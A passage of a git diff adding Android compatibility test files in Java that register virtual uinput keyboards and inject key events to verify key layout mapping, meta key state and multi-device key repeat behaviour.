+    private KeyEvent getKeyEvent(int retryCount) {
+        for (int i = 0; i < retryCount; i++) {
+            KeyEvent event = mActivityRule.getActivity().getKeyEvent(POLL_EVENT_TIMEOUT_SECONDS);
+            if (event != null) {
+                return event;
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Asserts that the application received a {@link android.view.KeyEvent} with the given
+     * metadata.
+     *
+     * If other KeyEvents are received by the application prior to the expected KeyEvent, or no
+     * KeyEvents are received within a reasonable amount of time, then this will throw an
+     * {@link AssertionError}.
+     *
+     * Only action, source, keyCode and metaState are being compared.
+     */
+    private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
+        if (expectedKeyEvent.getKeyCode() == KeyEvent.KEYCODE_UNKNOWN) {
+            return;
+        }
+
+        KeyEvent receivedKeyEvent = getKeyEvent(RETRY_COUNT);
+        String log = "Expected " + expectedKeyEvent + " Received " + receivedKeyEvent;
+        assertNotNull(log, receivedKeyEvent);
+        assertEquals(log, expectedKeyEvent.getAction(), receivedKeyEvent.getAction());
+        assertEquals(log, expectedKeyEvent.getSource(), receivedKeyEvent.getSource());
+        assertEquals(log, expectedKeyEvent.getKeyCode(), receivedKeyEvent.getKeyCode());
+        assertEquals(log, expectedKeyEvent.getMetaState(), receivedKeyEvent.getMetaState());
+    }
+
+    /**
+     * Create the uinput device registration command, in JSON format of uinput commandline tool.
+     * Refer to {@link framework/base/cmds/uinput/README.md}
+     */
+    private String createDeviceRegisterCommand() {
+        JSONObject json = new JSONObject();
+        JSONArray arrayConfigs =  new JSONArray();
+        try {
+            json.put("id", DEVICE_ID);
+            json.put("type", "uinput");
+            json.put("command", "register");
+            json.put("name", "Virtual All Buttons Device (Test)");
+            json.put("vid", GOOGLE_VENDOR_ID);
+            json.put("pid", GOOGLE_VIRTUAL_KEYBOARD_ID);
+            json.put("bus", "bluetooth");
+
+            JSONObject jsonSetEvBit = new JSONObject();
+            JSONArray arraySetEvBit =  new JSONArray();
+            arraySetEvBit.put(EV_KEY);
+            jsonSetEvBit.put("type", UI_SET_EVBIT);
+            jsonSetEvBit.put("data", arraySetEvBit);
+            arrayConfigs.put(jsonSetEvBit);
+
+            // Configure device have all keys from key layout map.
+            JSONArray arraySetKeyBit = new JSONArray();
+            for (Map.Entry<String, Integer> entry : mKeyLayout.entrySet()) {
+                arraySetKeyBit.put(entry.getValue());
+            }
+            JSONObject jsonSetKeyBit = new JSONObject();
+            jsonSetKeyBit.put("type", UI_SET_KEYBIT);
+            jsonSetKeyBit.put("data", arraySetKeyBit);
+            arrayConfigs.put(jsonSetKeyBit);
+            json.put("configuration", arrayConfigs);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object");
+        }
+
+        return json.toString();
+    }
+
+    /**
+     * Update expected meta state for incoming key event.
+     * @param action KeyEvent.ACTION_DOWN or KeyEvent.ACTION_UP
+     * @param label Key label from key layout mapping definition
+     * @return updated meta state
+     */
+
+    private int updateMetaState(int action, String label) {
+
+        int metaState = 0;
+        int metaStateToggle = 0;
+        if (label.equals("CTRL_LEFT")) {
+            metaState = KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
+        }
+        if (label.equals("CTRL_RIGHT")) {
+            metaState = KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_RIGHT_ON;
+        }
+        if (label.equals("SHIFT_LEFT")) {
+            metaState = KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON;
+        }
+        if (label.equals("SHIFT_RIGHT")) {
+            metaState = KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_RIGHT_ON;
+        }
+        if (label.equals("ALT_LEFT")) {
+            metaState = KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON;
+        }
+        if (label.equals("ALT_RIGHT")) {
+            metaState = KeyEvent.META_ALT_ON | KeyEvent.META_ALT_RIGHT_ON;
+        }
+        if (label.equals("CAPS_LOCK")) {
+            metaStateToggle =  KeyEvent.META_CAPS_LOCK_ON;
+        }
+        if (label.equals("NUM_LOCK")) {
+            metaStateToggle =  KeyEvent.META_NUM_LOCK_ON;
+        }
+        if (label.equals("SCROLL_LOCK")) {
+            metaStateToggle =  KeyEvent.META_SCROLL_LOCK_ON;
+        }
+
+        if (action == KeyEvent.ACTION_DOWN) {
+            mMetaState |= metaState;
+        } else if (action == KeyEvent.ACTION_UP) {
+            mMetaState &= ~metaState;
+        }
+
+        if (action == KeyEvent.ACTION_UP) {
+            if ((mMetaState & metaStateToggle) == 0) {
+                mMetaState |= metaStateToggle;
+            } else {
+                mMetaState &= ~metaStateToggle;
+            }
+        }
+        return mMetaState;
+    }
+
+    /**
+     * Generate a key event from the key label and action.
+     * @param action KeyEvent.ACTION_DOWN or KeyEvent.ACTION_UP
+     * @param label Key label from key layout mapping definition
+     * @return KeyEvent expected to receive
+     */
+    private KeyEvent generateKeyEvent(int action, String label) {
+        int source = InputDevice.SOURCE_KEYBOARD | InputDevice.SOURCE_GAMEPAD
+                | InputDevice.SOURCE_DPAD;
+        int keyCode = KeyEvent.keyCodeFromString(LABEL_PREFIX + label);
+        int metaState = updateMetaState(action, label);
+        // We will only check select fields of the KeyEvent. Times are not checked.
+        KeyEvent event = new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                /* repeat */ 0, metaState, /* deviceId */ 0, /* scanCode */ 0,
+                /* flags */ 0, source);
+
+        return event;
+    }
+
+    /**
+     * Simulate pressing a key.
+     * @param evKeyCode The key scan code
+     */
+    private void pressKey(int evKeyCode) {
+        int[] evCodesDown = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_DOWN,
+                EV_SYN, 0, 0};
+        mUinputDevice.injectEvents(Arrays.toString(evCodesDown));
+
+        int[] evCodesUp = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_UP,
+                EV_SYN, 0, 0 };
+        mUinputDevice.injectEvents(Arrays.toString(evCodesUp));
+    }
+
+    /**
+     * Check the initial global meta key state.
+     * @param label Key label from key layout mapping definition
+     * @param metaState The meta state that the meta key changes
+     */
+    private void checkMetaKeyState(String label, int metaState) {
+        int eveKeyCode = mKeyLayout.get(label);
+        pressKey(eveKeyCode);
+        // Get 2 key events for up and down.
+        KeyEvent keyDownEvent = getKeyEvent(RETRY_COUNT);
+        assertNotNull("Didn't get KeyDown event " + label, keyDownEvent);
+        KeyEvent keyUpEvent = getKeyEvent(RETRY_COUNT);
+        assertNotNull("Didn't get KeyUp event " + label, keyUpEvent);
+
+        if (keyUpEvent.getKeyCode() == KeyEvent.keyCodeFromString(label)
+                && keyUpEvent.getAction() == KeyEvent.ACTION_UP) {
+            mMetaState &= ~metaState;
+            mMetaState |= (keyUpEvent.getMetaState() & metaState);
+        }
+    }
+
+    /**
+     * Initialize NUM_LOCK, CAPS_LOCK, SCROLL_LOCK state as they are global meta state
+     */
+    private void initializeMetaKeysState() {
+        // Detect NUM_LOCK key state before test.
+        checkMetaKeyState("NUM_LOCK", KeyEvent.META_NUM_LOCK_ON);
+        // Detect CAPS_LOCK key state before test.
+        checkMetaKeyState("CAPS_LOCK", KeyEvent.META_CAPS_LOCK_ON);
+        // Detect CAPS_LOCK key state before test.
+        checkMetaKeyState("SCROLL_LOCK", KeyEvent.META_SCROLL_LOCK_ON);
+    }
+
+    @Test
+    public void testLayoutKeyEvents() {
+        final List<String> excludedKeys = Arrays.asList(
+                // Meta control keys.
+                "CAPS_LOCK", "NUM_LOCK", "SCROLL_LOCK", "META_LEFT", "META_RIGHT", "FUNCTION",
+                // KeyEvents not delivered to apps.
+                "APP_SWITCH", "SYSRQ", "ASSIST", "VOICE_ASSIST",
+                "HOME", "POWER", "SLEEP", "WAKEUP",
+                "BRIGHTNESS_UP", "BRIGHTNESS_DOWN");
+
+        initializeMetaKeysState();
+
+        for (Map.Entry<String, Integer> entry : mKeyLayout.entrySet()) {
+            String label = LABEL_PREFIX + entry.getKey();
+            int evKeyCode = entry.getValue();
+
+            if (excludedKeys.contains(label)) {
+                continue;
+            }
+
+            assertNotEquals(KeyEvent.keyCodeFromString(label), KeyEvent.KEYCODE_UNKNOWN);
+            // Press the key
+            pressKey(evKeyCode);
+            // Generate expected key down event and verify
+            KeyEvent expectedDownEvent = generateKeyEvent(KeyEvent.ACTION_DOWN,  label);
+            assertReceivedKeyEvent(expectedDownEvent);
+            // Generate expected key up event and verify
+            KeyEvent expectedUpEvent = generateKeyEvent(KeyEvent.ACTION_UP,  label);
+            assertReceivedKeyEvent(expectedUpEvent);
+        }
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTestActivity.java b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTestActivity.java
new file mode 100644
index 0000000..5c77984
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceKeyLayoutMapTestActivity.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.KeyEvent;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class InputDeviceKeyLayoutMapTestActivity extends Activity {
+    private static final String TAG = "InputDeviceKeyLayoutMapTestActivity";
+
+    private final BlockingQueue<KeyEvent> mEvents = new LinkedBlockingQueue<>();
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+
+    @Override
+    public boolean dispatchKeyEvent(KeyEvent ev) {
+        try {
+            mEvents.put(new KeyEvent(ev));
+        } catch (InterruptedException ex) {
+            fail("interrupted while adding a KeyEvent to the queue");
+        }
+        return true;
+    }
+
+    /**
+     * Get a KeyEvent from event queue or timeout.
+     * @param timeoutSeconds Timeout in unit of second
+     * @return KeyEvent delivered to test activity, null if timeout.
+     */
+    public KeyEvent getKeyEvent(int timeoutSeconds) {
+        try {
+            return mEvents.poll(timeoutSeconds, TimeUnit.SECONDS);
+        } catch (InterruptedException e) {
+            throw new RuntimeException("unexpectedly interrupted while waiting for InputEvent", e);
+        }
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceMultiDeviceKeyEventTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceMultiDeviceKeyEventTest.java
new file mode 100644
index 0000000..31d5e6e
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceMultiDeviceKeyEventTest.java
@@ -0,0 +1,369 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+import android.app.Instrumentation;
+import android.hardware.input.InputManager;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.MediumTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.rule.ActivityTestRule;
+
+import com.android.compatibility.common.util.PollingCheck;
+import com.android.cts.input.UinputDevice;
+
+import org.json.JSONArray;
+import org.json.JSONException;
+import org.json.JSONObject;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+
+/**
+ * CTS test cases for multi device key events verification.
+ * This test utilize uinput command line tool to create multiple test devices, and configure the
+ * virtual device to have keys need to be tested. The JSON format input for device configuration
+ * and EV_KEY injection will be created directly from this test for uinput command.
+ * The test cases will inject evdev events from different virtual input devices and verify the
+ * received key events to verify the device Id, repeat count to be expected, as well as the key
+ * repeat behavior is consistently meeting expectations with multi devices.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceMultiDeviceKeyEventTest {
+    private static final String TAG = "InputDeviceMultiDeviceKeyEventTest";
+    private static final String LABEL_PREFIX = "KEYCODE_";
+    private static final int DEVICE_ID = 1;
+    private static final int EV_SYN = 0;
+    private static final int EV_KEY = 1;
+    private static final int EV_KEY_DOWN = 1;
+    private static final int EV_KEY_UP = 0;
+    private static final int UI_SET_EVBIT = 100;
+    private static final int UI_SET_KEYBIT = 101;
+    private static final int EV_KEY_CODE_1 = 2;
+    private static final int EV_KEY_CODE_2 = 3;
+    private static final int GOOGLE_VENDOR_ID = 0x18d1;
+    private static final int GOOGLE_VIRTUAL_KEYBOARD_ID = 0x001f;
+    private static final int NUM_DEVICES = 2;
+    private static final int POLL_EVENT_TIMEOUT_SECONDS = 1;
+    private static final int RETRY_COUNT = 10;
+
+    private Instrumentation mInstrumentation;
+    private InputManager mInputManager;
+    private UinputDevice[] mUinputDevices = new UinputDevice[NUM_DEVICES];
+    private int[] mInputManagerDeviceIds = new int[NUM_DEVICES];
+    private final int[] mEvKeys = {
+            EV_KEY_CODE_1,
+            EV_KEY_CODE_2
+    };
+
+    @Rule
+    public ActivityTestRule<InputDeviceKeyLayoutMapTestActivity> mActivityRule =
+            new ActivityTestRule<>(InputDeviceKeyLayoutMapTestActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        PollingCheck.waitFor(mActivityRule.getActivity()::hasWindowFocus);
+        for (int i = 0; i < NUM_DEVICES; i++) {
+            final int jsonDeviceId = i + 1;
+            mUinputDevices[i] = new UinputDevice(mInstrumentation, jsonDeviceId,
+                GOOGLE_VENDOR_ID, GOOGLE_VIRTUAL_KEYBOARD_ID + jsonDeviceId,
+                InputDevice.SOURCE_KEYBOARD,
+                createDeviceRegisterCommand(jsonDeviceId, mEvKeys));
+        }
+
+        mInputManager = mInstrumentation.getContext().getSystemService(InputManager.class);
+        final int[] inputDeviceIds = mInputManager.getInputDeviceIds();
+        for (int inputDeviceId : inputDeviceIds) {
+            final InputDevice inputDevice = mInputManager.getInputDevice(inputDeviceId);
+            final int index = inputDevice.getProductId() - GOOGLE_VIRTUAL_KEYBOARD_ID - 1;
+            if (inputDevice.getVendorId() == GOOGLE_VENDOR_ID
+                    && index >= 0 && index < NUM_DEVICES) {
+                mInputManagerDeviceIds[index] = inputDeviceId;
+            }
+        }
+    }
+
+    @After
+    public void tearDown() {
+        for (int i = 0; i < NUM_DEVICES; i++) {
+            if (mUinputDevices[i] != null) {
+                mUinputDevices[i].close();
+            }
+        }
+    }
+
+    /**
+     * Create the uinput device registration command, in JSON format of uinput commandline tool.
+     * Refer to {@link framework/base/cmds/uinput/README.md}
+     */
+    private String createDeviceRegisterCommand(int deviceId, int[] keys) {
+        JSONObject json = new JSONObject();
+        JSONArray arrayConfigs =  new JSONArray();
+        try {
+            json.put("id", deviceId);
+            json.put("type", "uinput");
+            json.put("command", "register");
+            json.put("name", "Virtual All Buttons Device (Test)");
+            json.put("vid", GOOGLE_VENDOR_ID);
+            json.put("pid", GOOGLE_VIRTUAL_KEYBOARD_ID + deviceId);
+            json.put("bus", "bluetooth");
+
+            JSONObject jsonSetEvBit = new JSONObject();
+            JSONArray arraySetEvBit =  new JSONArray();
+            arraySetEvBit.put(EV_KEY);
+            jsonSetEvBit.put("type", UI_SET_EVBIT);
+            jsonSetEvBit.put("data", arraySetEvBit);
+            arrayConfigs.put(jsonSetEvBit);
+
+            // Configure device have all keys from key layout map.
+            JSONArray arraySetKeyBit = new JSONArray();
+            for (int i = 0; i < keys.length; i++) {
+                arraySetKeyBit.put(keys[i]);
+            }
+
+            JSONObject jsonSetKeyBit = new JSONObject();
+            jsonSetKeyBit.put("type", UI_SET_KEYBIT);
+            jsonSetKeyBit.put("data", arraySetKeyBit);
+            arrayConfigs.put(jsonSetKeyBit);
+            json.put("configuration", arrayConfigs);
+        } catch (JSONException e) {
+            throw new RuntimeException(
+                    "Could not create JSON object");
+        }
+
+        return json.toString();
+    }
+
+    /**
+     * Get a KeyEvent from event queue or timeout.
+     * The test activity instance may change in the middle, calling getKeyEvent with the old
+     * activity instance will get timed out when test activity instance changed. Rather than
+     * doing a long wait for timeout with same activity instance, break the polling into a number
+     * of retries and each time of retry call the ActivityTestRule.getActivity for current activity
+     * instance to avoid the test failure because of polling the old activity instance get timed
+     * out consequently failed the test.
+     *
+     * @param retryCount The times to retry get KeyEvent from test activity.
+     *
+     * @return KeyEvent delivered to test activity, null if timeout.
+     */
+    private KeyEvent getKeyEvent(int retryCount) {
+        for (int i = 0; i < retryCount; i++) {
+            KeyEvent event = mActivityRule.getActivity().getKeyEvent(POLL_EVENT_TIMEOUT_SECONDS);
+            if (event != null) {
+                return event;
+            }
+        }
+        return null;
+    }
+
+    private void assertNoKeyEvent() {
+        assertNull(getKeyEvent(1 /* retryCount */));
+    }
+
+    /**
+     * Asserts that the application received a {@link android.view.KeyEvent} with the given
+     * metadata.
+     *
+     * If other KeyEvents are received by the application prior to the expected KeyEvent, or no
+     * KeyEvents are received within a reasonable amount of time, then this will throw an
+     * {@link AssertionError}.
+     *
+     * Only action, source, keyCode and metaState are being compared.
+     */
+    private void assertReceivedKeyEvent(@NonNull KeyEvent expectedKeyEvent) {
+        assertNotEquals(expectedKeyEvent.getKeyCode(), KeyEvent.KEYCODE_UNKNOWN);
+
+        KeyEvent receivedKeyEvent = getKeyEvent(RETRY_COUNT);
+        String log = "Expected " + expectedKeyEvent + " Received " + receivedKeyEvent;
+        assertNotNull(log, receivedKeyEvent);
+        assertEquals("DeviceId: " + log, expectedKeyEvent.getDeviceId(),
+                receivedKeyEvent.getDeviceId());
+        assertEquals("Action: " + log, expectedKeyEvent.getAction(),
+                receivedKeyEvent.getAction());
+        assertEquals("Source: " + log, expectedKeyEvent.getSource(),
+                receivedKeyEvent.getSource());
+        assertEquals("KeyCode: " + log, expectedKeyEvent.getKeyCode(),
+                receivedKeyEvent.getKeyCode());
+        assertEquals("RepeatCount: " + log, expectedKeyEvent.getRepeatCount(),
+                receivedKeyEvent.getRepeatCount());
+    }
+
+    /**
+     * Generate a key event from the key label and action.
+     * @param action KeyEvent.ACTION_DOWN or KeyEvent.ACTION_UP
+     * @param label Key label from key layout mapping definition
+     * @return KeyEvent expected to receive
+     */
+    private KeyEvent generateKeyEvent(int deviceId, int action, String label, int repeat) {
+        int source = InputDevice.SOURCE_KEYBOARD;
+        int keyCode = KeyEvent.keyCodeFromString(LABEL_PREFIX + label);
+        // We will only check select fields of the KeyEvent. Times are not checked.
+        KeyEvent event = new KeyEvent(/* downTime */ 0, /* eventTime */ 0, action, keyCode,
+                repeat, /* metaState */ 0, mInputManagerDeviceIds[deviceId], /* scanCode */ 0,
+                /* flags */ 0, source);
+
+        return event;
+    }
+
+    /**
+     * Simulate pressing a key.
+     * @param evKeyCode The key scan code
+     */
+    private void pressKeyDown(int deviceId, int evKeyCode) {
+        int[] evCodesDown = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_DOWN,
+                EV_SYN, 0, 0};
+        mUinputDevices[deviceId].injectEvents(Arrays.toString(evCodesDown));
+    }
+
+    /**
+     * Simulate releasing a key.
+     * @param evKeyCode The key scan code
+     */
+    private void pressKeyUp(int deviceId, int evKeyCode) {
+        int[] evCodesUp = new int[] {
+                EV_KEY, evKeyCode, EV_KEY_UP,
+                EV_SYN, 0, 0 };
+        mUinputDevices[deviceId].injectEvents(Arrays.toString(evCodesUp));
+    }
+
+    private void assertKeyRepeat(int deviceId, String label, int repeat, int count) {
+        for (int i = 0; i < count; i++) {
+            KeyEvent expectedDownEvent = generateKeyEvent(deviceId,
+                    KeyEvent.ACTION_DOWN, label, repeat + i);
+            assertReceivedKeyEvent(expectedDownEvent);
+        }
+    }
+
+    private void assertKeyUp(int deviceId, String label) {
+        KeyEvent expectedUpEvent = generateKeyEvent(deviceId,
+                KeyEvent.ACTION_UP, label, /* repeat */ 0);
+        assertReceivedKeyEvent(expectedUpEvent);
+    }
+
+    @Test
+    public void testReceivesKeyRepeatFromTwoDevices() {
+        final String keyOne = "1";
+        // Press the key from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+        // Press the key from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 0, /* count */ 10);
+    }
+
+    @Test
+    public void testReceivesKeyRepeatOnTwoKeysFromTwoDevices() {
+        final String keyOne = "1";
+        final String keyTwo = "2";
+        // Press the key 1 from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Press the key 2 from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_2);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyTwo, /* repeat */ 0, /* count */ 10);
+
+        // Release the key 2 from device 1
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 1, EV_KEY_CODE_2);
+        assertKeyUp(/* deviceId */ 1, keyTwo);
+
+        // No key repeating anymore.
+        assertNoKeyEvent();
+
+        // Release the key 1 from device 0
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 0, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 0, keyOne);
+    }
+
+    @Test
+    public void testKeyRepeatAfterStaleDeviceKeyUp() {
+        final String keyOne = "1";
+        // Press the key from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Press the key from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Release the key from device 0
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 0, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 0, keyOne);
+
+        // KeyDown kept repeating by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 10, /* count */ 10);
+
+        // Release the key from device 1
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 1, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 1, keyOne);
+    }
+
+    @Test
+    public void testKeyRepeatStopsAfterRepeatingKeyUp() {
+        final String keyOne = "1";
+        // Press the key from device 0
+        pressKeyDown(/* deviceId */ 0, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 0
+        assertKeyRepeat(/* deviceId */ 0, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Press the key from device 1
+        pressKeyDown(/* deviceId */ 1, EV_KEY_CODE_1);
+        // KeyDown repeat driven by device 1
+        assertKeyRepeat(/* deviceId */ 1, keyOne, /* repeat */ 0, /* count */ 10);
+
+        // Release the key from device 1
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 1, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 1, keyOne);
+
+        // No key repeating anymore.
+        assertNoKeyEvent();
+
+        // Release the key from device 0
+        // Generate expected key up event and verify
+        pressKeyUp(/* deviceId */ 0, EV_KEY_CODE_1);
+        assertKeyUp(/* deviceId */ 0, keyOne);
+    }
+
+}
diff --git a/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
new file mode 100644
index 0000000..a088a31
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/input/InputDeviceSensorManagerTest.java
@@ -0,0 +1,481 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.Instrumentation;
+import android.hardware.Sensor;
+import android.hardware.SensorDirectChannel;
+import android.hardware.SensorEvent;
+import android.hardware.SensorEventListener;
+import android.hardware.SensorManager;
+import android.hardware.input.InputManager;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.MemoryFile;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+
+import androidx.annotation.NonNull;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.cts.input.InputJsonParser;
+import com.android.cts.input.UinputDevice;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.IOException;
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Test {@link android.view.InputDevice} sensor functionality.
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class InputDeviceSensorManagerTest {
+    private static final String TAG = "InputDeviceSensorManagerTest";
+    private static final int SENSOR_VEC_LENGTH = 3;
+    private static final int EV_SYN = 0;
+    private static final int EV_ABS = 3;
+    private static final int EV_MSC = 4;
+    private static final int ABS_X = 0;
+    private static final int ABS_Y = 1;
+    private static final int ABS_Z = 2;
+    private static final int ABS_RX = 3;
+    private static final int ABS_RY = 4;
+    private static final int ABS_RZ = 5;
+    private static final int MSC_TIMESTAMP = 5;
+    // The time interval for between sensor time events, in unit of micro seconds.
+    private static final int TIME_INTERVAL_US = 10000;
+    // Requested sensor listening interval, to pass to registerListener API,
+    // in unit of milli seconds.
+    private static final int SAMPLING_INTERVAL_US = 20000;
+    // The Gyroscope sensor hardware resolution of 1 unit, degree/second.
+    private static final float GYRO_RESOLUTION = 1024.0f;
+    // The Accelerometer sensor hardware resolution of 1 unit, per g.
+    private static final float ACCEL_RESOLUTION = 8192.0f;
+    // Numbers of sensor samples to run.
+    private static final int RUNNING_SAMPLES = 100;
+    // Sensor raw value increment step for each sensor event.
+    private static final int SAMPLE_STEP = 925;
+    // Tolerance of sensor event values.
+    private static final float TOLERANCE = 0.01f;
+    // Linux accelerometer unit is per g,  Android unit is m/s^2
+    private static final float GRAVITY_MS2_UNIT = 9.80665f;
+    // Linux gyroscope unit is degree/second, Android unit is radians/second
+    private static final float DEGREE_RADIAN_UNIT = 0.0174533f;
+    // Share memory size
+    private static final int SHARED_MEMORY_SIZE = 8192;
+
+    private static final int CONNECTION_TIMEOUT_SEC = 3;
+
+    private InputManager mInputManager;
+    private UinputDevice mUinputDevice;
+    private InputJsonParser mParser;
+    private Instrumentation mInstrumentation;
+    private SensorManager mSensorManager;
+    private HandlerThread mSensorThread = null;
+    private Handler mSensorHandler = null;
+    private int mDeviceId;
+    private final Object mLock = new Object();
+
+    private class Callback extends SensorManager.DynamicSensorCallback {
+        private Sensor mSensor;
+        private CountDownLatch mConnectLatch = new CountDownLatch(1);
+        private CountDownLatch mDisconnectLatch = new CountDownLatch(1);
+
+        Callback(@NonNull Sensor sensor) {
+            mSensor = sensor;
+        }
+
+        @Override
+        public void onDynamicSensorConnected(Sensor sensor) {
+            synchronized (mSensor) {
+                if (mSensor.getId() == sensor.getId()) {
+                    mConnectLatch.countDown();
+                }
+            }
+        }
+
+        @Override
+        public void onDynamicSensorDisconnected(Sensor sensor) {
+            synchronized (mSensor) {
+                if (mSensor.getId() == sensor.getId()) {
+                    mDisconnectLatch.countDown();
+                }
+            }
+        }
+
+        public boolean waitForConnection() {
+            try {
+                return mConnectLatch.await(CONNECTION_TIMEOUT_SEC, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            return false;
+        }
+
+        public void assertNoDisconnection() {
+            assertEquals(1, mDisconnectLatch.getCount());
+        }
+    }
+
+    private class InputTestSensorEventListener implements SensorEventListener {
+        private CountDownLatch mAccuracyLatch;
+        private int mAccuracy = SensorManager.SENSOR_STATUS_NO_CONTACT;
+        private final BlockingQueue<SensorEvent> mEvents = new LinkedBlockingQueue<>();
+        InputTestSensorEventListener() {
